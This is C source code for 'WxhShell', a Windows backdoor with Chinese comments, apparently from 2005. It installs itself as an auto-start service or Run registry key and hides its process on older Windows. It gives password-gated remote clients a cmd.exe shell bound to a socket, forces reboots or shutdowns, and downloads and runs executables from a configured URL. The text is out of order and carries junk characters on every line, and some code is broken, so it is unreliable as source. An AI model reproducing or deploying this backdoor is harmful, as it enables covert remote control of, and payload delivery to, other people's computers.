    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |)6(_7e9  
    if(Boot(SHUTDOWN)) Pg[zRRf<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QiWv  
    else { ':# ?YQ}2  
    closesocket(wsh); 20m6-rkI<}  
    ExitThread(0); P Y +~,T2  
    }  d$ Mk  
    break; ezTu1-m  
    } 1_:1cF{w  
  // 获取shell UwtOlV:G{  
  case 's': { Bp\io$(%  
    CmdShell(wsh); C>cc!+n%H  
    closesocket(wsh); g$VcT\X  
    ExitThread(0); o^~6RZ  
    break; Gb 61X6  
  } &Pxt6M\d  
  // 退出 'R*gSqx~  
  case 'x': { /Nq!^=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~J2-B2S!  
    CloseIt(wsh); 322W"qduTZ  
    break; ^7q=E@[e  
    } !mBsDn(J  
  // 离开 X[k-J\  
  case 'q': { A(_AOoA'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lhl) pP17  
    closesocket(wsh); a#H=dIj  
    WSACleanup(); Ary$,3X2  
    exit(1); nR/; uTTz  
    break; ,r5<v_  
        } r0G#BPgdR  
  } 0w\X  
  } DjOFfD\MF  
"b%hAdR  
  // 提示信息 2a.NWJS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pALB[;9g  
} ^FgNg'"[3  
  } J'9&dt  
"W6 nW  
  return; +WPi}  
} V.WfP*~NJ  
S "oUE_>  
// shell模块句柄 <6/XE@"   
int CmdShell(SOCKET sock) q<>2}[W  
{ UEo,:zeN[  
STARTUPINFO si; }SitT\%  
ZeroMemory(&si,sizeof(si)); dQM# -t4*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; js`zQx'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JmNeqpbB`w  
PROCESS_INFORMATION ProcessInfo; @usQ*k  
char cmdline[]="cmd"; +azPpGZ=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %fP^Fh   
  return 0; ~b\7 qx_a9  
} JoW*)3Z  
p8s2#+/  
// 自身启动模式 Oi BK  
int StartFromService(void) U]vNcQj  
{ (/YC\x?  
typedef struct mk\U wv  
{ i?=3RdP/R1  
  DWORD ExitStatus; {DN c7G  
  DWORD PebBaseAddress; rShi"Yw  
  DWORD AffinityMask; *(?YgV  
  DWORD BasePriority; O#O~A |  
  ULONG UniqueProcessId; vlIdi@V  
  ULONG InheritedFromUniqueProcessId; 0nx <f>n  
}   PROCESS_BASIC_INFORMATION; 344,mnAd  
j,/o0k,  
PROCNTQSIP NtQueryInformationProcess; W\.f:"2qr  
/<:9NP'^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #*S/Sh?Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1bzPBi  
;ok];4`a  
  HANDLE             hProcess; 5B'-&.Aj+  
  PROCESS_BASIC_INFORMATION pbi; %c^]Rdl  
IUd>jHp`6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ItM?nyA  
  if(NULL == hInst ) return 0; c09] Cp<  
{ w!}:8p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b@YSrjJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rA=F:N 2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jv2l_  
@2$PU{dH  
  if (!NtQueryInformationProcess) return 0; ]?``*{Zqy  
;k b^mJE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h(/|`   
  if(!hProcess) return 0; ] (MXP,R  
7h&xfrSrD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fvit+  
dUO~dV1  
  CloseHandle(hProcess); EzNmsbtZ(  
hNx`=D9[7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g-^CuXic  
if(hProcess==NULL) return 0; }$qy_Esl  
"Wi`S;  
HMODULE hMod; $Z{ fKr  
char procName[255]; wCmwH=O  
unsigned long cbNeeded; ?\vJ8H[bD  
E}NX+ vYF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CKh-+8j  
7%7_i%6wP  
  CloseHandle(hProcess); $6y1';A  
GQ8I |E  
if(strstr(procName,"services")) return 1; // 以服务启动 Z?nMt  
z[t$[Q g  
  return 0; // 注册表启动 ybS7uo  
} ev8 E.ehD  
}1R k]$XC  
// 主模块 {+C>^b  
int StartWxhshell(LPSTR lpCmdLine) QJ"B d`wc  
{ ?Fi-,4  
  SOCKET wsl; 5j ]}/Aq  
BOOL val=TRUE; {xM%3  
  int port=0; ~]"}s(J;  
  struct sockaddr_in door; Q;5\( 0w5  
$oxPmELtpe  
  if(wscfg.ws_autoins) Install(); W:5m8aE\  
vO0ql  
port=atoi(lpCmdLine); R1P,0Yf  
WO)K*c1F  
if(port<=0) port=wscfg.ws_port; gVG :z_6  
"r"Y9KODm  
  WSADATA data; ^kt"n( P5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v11mu2  
H[>_LYZ8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Bc6:a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -q+Fj;El  
  door.sin_family = AF_INET; 0A1l"$_|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kN}.[enI~  
  door.sin_port = htons(port); l>=c]  
@F,HyCSN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,YkQJ$  
closesocket(wsl); @L0wd>  
return 1; L3<XWpv  
} ~(%G; fZ?x  
pM#:OlqC  
  if(listen(wsl,2) == INVALID_SOCKET) { m7RWuI,  
closesocket(wsl); iz*aBXVA[  
return 1; |Cen5s W&  
} H<NYm#a"  
  Wxhshell(wsl); 1/&j'B  
  WSACleanup(); P%/+?(?  
"V9!srIC  
return 0; RisrU  
*K+*0_  
} z4f5@  
U3za}3  
// 以NT服务方式启动 RsV<*s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XD|&{/O  
{ DG:=E/@  
DWORD   status = 0; :\bttPw5  
  DWORD   specificError = 0xfffffff; VWMCbg>R  
LZoth+:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x%(!+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ikxSWO_Y=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ho(Y?'^t3  
  serviceStatus.dwWin32ExitCode     = 0; _OrE{  
  serviceStatus.dwServiceSpecificExitCode = 0; Y/$SriC_+'  
  serviceStatus.dwCheckPoint       = 0; _8S).*  
  serviceStatus.dwWaitHint       = 0; Jhj]rsGk  
H/L3w|2+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z2$-},i  
  if (hServiceStatusHandle==0) return; <v2R6cj5  
ED$gnFa3I  
status = GetLastError(); gf3/kll9  
  if (status!=NO_ERROR) 3[e@mcO  
{ 1:&$0jU&U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u5,IH2BU  
    serviceStatus.dwCheckPoint       = 0; =Wjm_Rvk9  
    serviceStatus.dwWaitHint       = 0; >yWJk9h f  
    serviceStatus.dwWin32ExitCode     = status; 9Q.j <  
    serviceStatus.dwServiceSpecificExitCode = specificError; zc2,Mn2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /NkZ;<uxJ  
    return; bX6*/N  
  } K GI]W|T  
b#y}VY)?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QWxQD'L'  
  serviceStatus.dwCheckPoint       = 0; N\Hd3Om  
  serviceStatus.dwWaitHint       = 0; 8bK}& *z<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); []Fy[G.)H  
} kh5V&%>?  
d")r^7  
// 处理NT服务事件,比如:启动、停止 8WyG49eic  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S`l CynGH  
{ 9<YB &:<  
switch(fdwControl) )8k6GO8|  
{ nut7b  
case SERVICE_CONTROL_STOP: ,2cw9?<  
  serviceStatus.dwWin32ExitCode = 0; +Rh'VZJs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X<?;-HrS;  
  serviceStatus.dwCheckPoint   = 0; 5$#<z1M.&  
  serviceStatus.dwWaitHint     = 0; ZHF@k'vm/9  
  { T }8aj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .K93VTzy  
  } xp &I~YPH  
  return; 9rid98~d  
case SERVICE_CONTROL_PAUSE: q OXL(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m0#hG x  
  break; u( o@_6  
case SERVICE_CONTROL_CONTINUE: 7dakj>JM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C9nNziws  
  break; /J6CSk  
case SERVICE_CONTROL_INTERROGATE: -5qO}^i$a  
  break; 1";~"p2(  
}; 6 S&#8l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); asJYGqdF  
} }.hBmhnZmI  
@%TQ/L^|  
// 标准应用程序主函数 Qz<-xe`o8]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hc+<(g   
{ S2NsqHJr  
bHMlh^{`%  
// 获取操作系统版本 fSP~~YSeU  
OsIsNt=GetOsVer(); iKK=A.g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3a5H<3w_  
Ltj}>.+  
  // 从命令行安装 RS:0xN\JN  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z/I!\  
eGE%c1H9a  
  // 下载执行文件 6JL 7ut  
if(wscfg.ws_downexe) { | -R::gm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f>'7~69  
  WinExec(wscfg.ws_filenam,SW_HIDE); =?2y <B  
} c]LH.  
v_ J.M]  
if(!OsIsNt) { tb i;X=5  
// 如果时win9x,隐藏进程并且设置为注册表启动 /qCYNwWH9  
HideProc(); Po_9M4kU  
StartWxhshell(lpCmdLine); Z  b1v  
} f"tO*/|`  
else PU>;4l  
  if(StartFromService()) FFkG,XH  
  // 以服务方式启动 ;klDt|%3j  
  StartServiceCtrlDispatcher(DispatchTable); Kzm_AHA)  
else 2ReulL8j  
  // 普通方式启动 X}!_p& WI  
  StartWxhshell(lpCmdLine); U!'lc} 5  
%MIu;u FR  
return 0; /}VQzF  
} she`_'?5  
r" D|1  
c`>\R<Z ]  
xvkof 'Q)  
=========================================== yO6i "3  
-`RJ k(  
Y!`?q8z$G  
V.4j?\#%  
y >OZ<!`  
MPB6  
" zZxP= c  
<|8 l;  
#include <stdio.h> }J*&()`  
#include <string.h> ^4[\-L8Lpq  
#include <windows.h> NqWHR~&  
#include <winsock2.h> oY] VP+b!  
#include <winsvc.h> 7Y)wu$!7}  
#include <urlmon.h> ,VZ&Gc  
^AM_A>HnG  
#pragma comment (lib, "Ws2_32.lib") :b>|U"ux  
#pragma comment (lib, "urlmon.lib") cC[n~OV  
<r kW4  
#define MAX_USER   100 // 最大客户端连接数 RgO 7> T\  
#define BUF_SOCK   200 // sock buffer 2 9]8[Z,4  
#define KEY_BUFF   255 // 输入 buffer H )}WWXK  
K c<z;  
#define REBOOT     0   // 重启 zm:=d>D..  
#define SHUTDOWN   1   // 关机 U VLcR  
=?lT&|"  
#define DEF_PORT   5000 // 监听端口 5B2,=?+o  
Yyo|W;a]  
#define REG_LEN     16   // 注册表键长度 z>{KeX:  
#define SVC_LEN     80   // NT服务名长度 TAi\#cnl(6  
Lr^xp,_n  
// 从dll定义API g IKm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w?*KO?K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pjy?&;GvT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mz^s^aJEE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |:?.-tq  
KFhn}C3 i  
// wxhshell配置信息 YfalsQ8  
struct WSCFG { q!TbM"  
  int ws_port;         // 监听端口 ~Qsj)9  
  char ws_passstr[REG_LEN]; // 口令 $O>@(K  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jv<)/Km`  
  char ws_regname[REG_LEN]; // 注册表键名 [0LqZ<\5  
  char ws_svcname[REG_LEN]; // 服务名 %(Ys-GeGr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ""+*Gn 7^8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8.^U6xA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;?!rpj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E oR(/*'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OT[m g4&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .g#=~{A  
7`/qL "  
}; rrWk&;?  
L8zqLD i&  
// default Wxhshell configuration qWpCe*C  
struct WSCFG wscfg={DEF_PORT, &V3oW1*W  
    "xuhuanlingzhe", gdK/:%u3  
    1, *N r|G61  
    "Wxhshell", >FHsZKJ  
    "Wxhshell", -IS9uaT5  
            "WxhShell Service", ."X~?Nk  
    "Wrsky Windows CmdShell Service", Yel(}Ny  
    "Please Input Your Password: ", 2P ?Iu&  
  1, h%s  
  "http://www.wrsky.com/wxhshell.exe", h6e$$-_  
  "Wxhshell.exe" iq:[+  
    }; 48Lmy<}*  
(3h*sd5ly  
// 消息定义模块 }Yl=lc vw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E?mp6R]}%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gL"}53A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?<?C*W_  
char *msg_ws_ext="\n\rExit."; Y/66`&,{  
char *msg_ws_end="\n\rQuit."; e W)I}z +{  
char *msg_ws_boot="\n\rReboot..."; W~F/ZrT3A  
char *msg_ws_poff="\n\rShutdown..."; a~7osRmp0  
char *msg_ws_down="\n\rSave to "; ;8T=uCi  
~BZV:Es  
char *msg_ws_err="\n\rErr!"; ;QQ7vo  
char *msg_ws_ok="\n\rOK!"; 5#)<rK  
HdUW(FZ  
char ExeFile[MAX_PATH]; KL  mB  
int nUser = 0; BznA)EK?@  
HANDLE handles[MAX_USER]; grdyiBSVn  
int OsIsNt; _ICDtG^  
b=U MoWS  
SERVICE_STATUS       serviceStatus; 4 .B*B3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vx@p;1RU`  
l&Ghs@>Kl  
// 函数声明 a.IF%hP0xo  
int Install(void); ('-}"3  
int Uninstall(void); d`<^+p)oy  
int DownloadFile(char *sURL, SOCKET wsh); =k= 2~ j  
int Boot(int flag); YiuOu(X  
void HideProc(void); Wky STc  
int GetOsVer(void); %`'z^W  
int Wxhshell(SOCKET wsl); )xx/di  
void TalkWithClient(void *cs); |Du13i4].&  
int CmdShell(SOCKET sock); Qsxkw  
int StartFromService(void); &[Zap6]  
int StartWxhshell(LPSTR lpCmdLine); h&M RQno  
w00\1'-Kz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F` 5/9?;|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 64']F1p0  
!TL}~D:J  
// 数据结构和表定义 K('l H-3wS  
SERVICE_TABLE_ENTRY DispatchTable[] = 0,$-)SkT  
{ rY?F6'}  
{wscfg.ws_svcname, NTServiceMain}, >MWpYp  
{NULL, NULL} K_|~3g  
}; yLO &(Mb  
:@`(}5F4  
// 自我安装 s|j<b#<xQ  
int Install(void) kr`BUW3  
{ ';\gR/L  
  char svExeFile[MAX_PATH]; <GgtP55  
  HKEY key; : KP'xf.  
  strcpy(svExeFile,ExeFile); B=bI'S8\  
F2`htM@,  
// 如果是win9x系统,修改注册表设为自启动 UX'NJ1f  
if(!OsIsNt) { -0o6*?[Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0 ;_wAk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {dA ~#fW<  
  RegCloseKey(key); BH0#Q5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LL[#b2CKa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MupW=3.38  
  RegCloseKey(key); C$td{tM  
  return 0; 7;}3{z  
    } #G  +  
  } -Bo~"q  
} TflS@Z7C  
else { 9g &Ch9-/  
BZ;}ROmqk  
// 如果是NT以上系统,安装为系统服务 @ZkAul0@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B+e_Y\B u  
if (schSCManager!=0) tkN3BQ  
{ e9`uD|KAS|  
  SC_HANDLE schService = CreateService wz*A<iU  
  ( #}!>iFBcH  
  schSCManager, r d6F"W  
  wscfg.ws_svcname, q= yZx)  
  wscfg.ws_svcdisp, 3']:1B  
  SERVICE_ALL_ACCESS, +8)]m<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .p(6' TYnI  
  SERVICE_AUTO_START, Q_kT}6#(J=  
  SERVICE_ERROR_NORMAL, Z0ncN])  
  svExeFile, ,M@m4bx  
  NULL, nKh%E-c  
  NULL, [%84L@:h  
  NULL, %g0z) J  
  NULL, [|[sYo  
  NULL mfngbFa1  
  ); |J<pLz  
  if (schService!=0) ~1=.?Ho  
  { ?z@v3(b[  
  CloseServiceHandle(schService); MLt'YW^  
  CloseServiceHandle(schSCManager); EID)o[<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <p^*Ydx  
  strcat(svExeFile,wscfg.ws_svcname); nGv23R(?G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2z.8rNwT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); " _:iK]  
  RegCloseKey(key); +% XhQ  
  return 0; Sj0 ucnuHi  
    } <E[HlL  
  }  ^%5~ ;  
  CloseServiceHandle(schSCManager); J+@MzkpK  
} 5X`w&(]m  
} jom} _  
\]U<hub  
return 1; hC|5e|S  
} [%7;f|p?  
/lr1hW~Dbk  
// 自我卸载 K_AtU/  
int Uninstall(void) c?.r"5#  
{ k=T-L  
  HKEY key; ]g>m?\'n  
<+T\F;   
if(!OsIsNt) { *K+jsVDY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]_ejDN\>{V  
  RegDeleteValue(key,wscfg.ws_regname); N)y^</Ya  
  RegCloseKey(key); ~m?74^ i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b(#"w[|  
  RegDeleteValue(key,wscfg.ws_regname); YN%=Oq  
  RegCloseKey(key); <.r ]dCf  
  return 0; qe5tcv}u  
  } stg30><  
} !F+|Y"c  
} U|Bsa(?nx  
else { )IFl 0<d  
;wJ7oj<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S2rEy2\}:  
if (schSCManager!=0) #~H%[ sa  
{ Uz6{>OCvk|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); | V.S.'  
  if (schService!=0) xb =8t!  
  { 5JBB+g  
  if(DeleteService(schService)!=0) { vzY'+9q1.  
  CloseServiceHandle(schService); ]aC ':55(  
  CloseServiceHandle(schSCManager); %[]"QbF?  
  return 0; L$Hx?^3  
  } z(g%ue\  
  CloseServiceHandle(schService); ? G$Om  
  } iK5]y+@8  
  CloseServiceHandle(schSCManager); +{,N X  
} a>o"^%x  
} r6d0x  
k4qLB1&,  
return 1; z5XYpi_;[  
} !,cQ'*<W8-  
Z/2,al\  
// 从指定url下载文件 3]O`[P,*%  
int DownloadFile(char *sURL, SOCKET wsh) ,f8}q]FTA  
{ /S:w&5e  
  HRESULT hr; MU_!&(X_  
char seps[]= "/"; >Z#uFt0<Pm  
char *token; )-bD2YA{  
char *file; 5h`m]#YEG  
char myURL[MAX_PATH]; $}qDV> qo  
char myFILE[MAX_PATH]; %f3c7\=C  
*QbM*oH  
strcpy(myURL,sURL); Pm$F2YrO3  
  token=strtok(myURL,seps); FU_fCL8yA  
  while(token!=NULL) t8+?U^j  
  { q';&SR#"`K  
    file=token; Sm$p\ORa  
  token=strtok(NULL,seps); h5L=M^z!>  
  } !]$V9F{K  
UWQtvQ f  
GetCurrentDirectory(MAX_PATH,myFILE); ;[(= kOI  
strcat(myFILE, "\\"); i&'#+f4t  
strcat(myFILE, file); zP_]  
  send(wsh,myFILE,strlen(myFILE),0); @GN(]t&3  
send(wsh,"...",3,0); <Q2u)m'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kCj`V2go  
  if(hr==S_OK) iuiAK  
return 0; VZ\O9lD  
else ^oS$>6|  
return 1; uQH%.A  
PT3>E5`Nu  
} =WIE>*3[  
WMW1B }Z3  
// 系统电源模块 2]L=s3  
int Boot(int flag) (C,e6r Y  
{ U(U@!G)  
  HANDLE hToken; &Fw[YGJayz  
  TOKEN_PRIVILEGES tkp; Z;ZuS[ZA  
T>d\%*Q+B  
  if(OsIsNt) { r eGm>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^'m\D;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z}|TW~J=  
    tkp.PrivilegeCount = 1;  b<[jaI0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xC<=~(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qs=Gj?GwGQ  
if(flag==REBOOT) { *i@sUM?K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +T9Q_e*  
  return 0; eymi2-a<  
} ? m&IF<b  
else { =v.{JV#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) he"L*p*H  
  return 0; O/mR9[}  
} r]v&t  
  } \Ke8W,)ew  
  else { yH*hL0mO  
if(flag==REBOOT) { ODm&&W#*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G 0hYFc u  
  return 0; @&;(D!_&  
} Z+ixRch@-s  
else { v2d<o[[C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M)L/d_4ka  
  return 0; Kl{-zX  
} zG_p"Z7,  
} _}D%iJg#  
grr'd+_e  
return 1; aS el* L  
} aYqm0HCT  
:pRF*^eU  
// win9x进程隐藏模块 "u_i[[y  
void HideProc(void) 1!vPc93 $$  
{ R,%_deV\(  
n=q=zn;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7AFE-'S  
  if ( hKernel != NULL ) W Zq,()h  
  { %dc3z"u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .;9jdGBf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *.oKI@  
    FreeLibrary(hKernel); W;4Lkk$  
  } {;*}WPYb  
]bm=LA  
return; "f4<B-9<$  
} 5y]io Jc9-  
>-M ]:=L  
// 获取操作系统版本 #b'N}2'p#V  
int GetOsVer(void) ^5>s7SGB"  
{ $_sYfU9  
  OSVERSIONINFO winfo; jo}1u_OJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .jA\f:u#  
  GetVersionEx(&winfo); Z^+rQ.%n"&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qe?Qeh(!X  
  return 1; +Gow5-(  
  else g5i#YW  
  return 0; []zua14F6  
} 8'_ 0g[s  
!siWEzw  
// 客户端句柄模块 <?YA,"~  
int Wxhshell(SOCKET wsl) 9t?L\  
{ _-O cc=Z  
  SOCKET wsh; &iqw! ud  
  struct sockaddr_in client; ~O{W;Cyh  
  DWORD myID; ;FU|7L$H  
}k7_'p&yk  
  while(nUser<MAX_USER) YGp)Oy}:  
{ b HE7yv [  
  int nSize=sizeof(client); nU2V]-qY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'f+NW &   
  if(wsh==INVALID_SOCKET) return 1; )s)_XL  
=LI:S|[4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R(G\wqHUT3  
if(handles[nUser]==0) _1aGtX|W  
  closesocket(wsh); <J&7]6Z  
else D^+?|Y@N  
  nUser++; z<B CLP  
  } ='}#`',  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RP! X8~8  
)u*^@Wo  
  return 0; GKZN}bOm\  
} 8O7Yv<  
=xL)$DTg)  
// 关闭 socket _7"5wB?|+  
void CloseIt(SOCKET wsh) zT[6eZ8m  
{ w^HjZV  
closesocket(wsh); (u&`Ij9  
nUser--; e4\dpvL  
ExitThread(0); ^2S# Uk  
} Z(e ^iH  
?qmp_2:WU  
// 客户端请求句柄 _'!kuE,*1  
void TalkWithClient(void *cs) :U'Cor H  
{ e)@3m.  
kccWoU,  
  SOCKET wsh=(SOCKET)cs; Y/fJQ6DY  
  char pwd[SVC_LEN]; HbM0TXo  
  char cmd[KEY_BUFF]; l +'F_a  
char chr[1]; xq[Yg15d%  
int i,j; fPqr6OYz  
wvN`R  
  while (nUser < MAX_USER) { <{Q'&T  
|quij0_'e  
if(wscfg.ws_passstr) { F}Srn;V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X(Qu{HhI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 63 2bN=>  
  //ZeroMemory(pwd,KEY_BUFF); z wk.bf>m  
      i=0; Y3Oz'%B  
  while(i<SVC_LEN) { D#Kuo$  
^zr^ N?a  
  // 设置超时 `VT>M@i/  
  fd_set FdRead; |^a;77nE_^  
  struct timeval TimeOut; ]*N1t>fb  
  FD_ZERO(&FdRead); c5% 6Y2W0  
  FD_SET(wsh,&FdRead); e,gyQjJR  
  TimeOut.tv_sec=8; QJGKQ2^ n  
  TimeOut.tv_usec=0; .c+9P<VmC}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QkQ!Ep(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :Ht; 0|[H  
28I^$> [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Am"(+>W21  
  pwd=chr[0]; YcDe@Zuwn  
  if(chr[0]==0xd || chr[0]==0xa) { @S^ASDuQU7  
  pwd=0; fjG&`m#"  
  break; wTc)S6%7  
  } j:,9%tg  
  i++; HrM$NRhu  
    } rD &D)w  
O_~7Glu  
  // 如果是非法用户,关闭 socket N ( Oyi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *O~e T  
} =9wy/c$  
`yiC=$*[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R2<s0l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "i^ GmVn  
>jg0s)RA'  
while(1) { 3=mr "&]r:  
H t(n%;<  
  ZeroMemory(cmd,KEY_BUFF); j5$GFi\kB  
=r2]uW9  
      // 自动支持客户端 telnet标准   I/6)3 su%  
  j=0; N2C7[z+l`  
  while(j<KEY_BUFF) { hz:pbes  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U/ od~29  
  cmd[j]=chr[0]; fmX!6Kv  
  if(chr[0]==0xa || chr[0]==0xd) { r6Aneg7  
  cmd[j]=0; Vvp[P >  
  break; 0RFRbi@n(  
  } nh+l7 8  
  j++; Z4b||  
    } 4?\:{1X=  
49H+(*@v@  
  // 下载文件 !69&Ld  
  if(strstr(cmd,"http://")) { WKfkKk;G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &7e)O=  
  if(DownloadFile(cmd,wsh)) qet>1<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8^/I>0EZ  
  else X}ma]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c2nKPEX&5  
  } "R>FqX6FB  
  else { CusF/>  
j=RRfFg)  
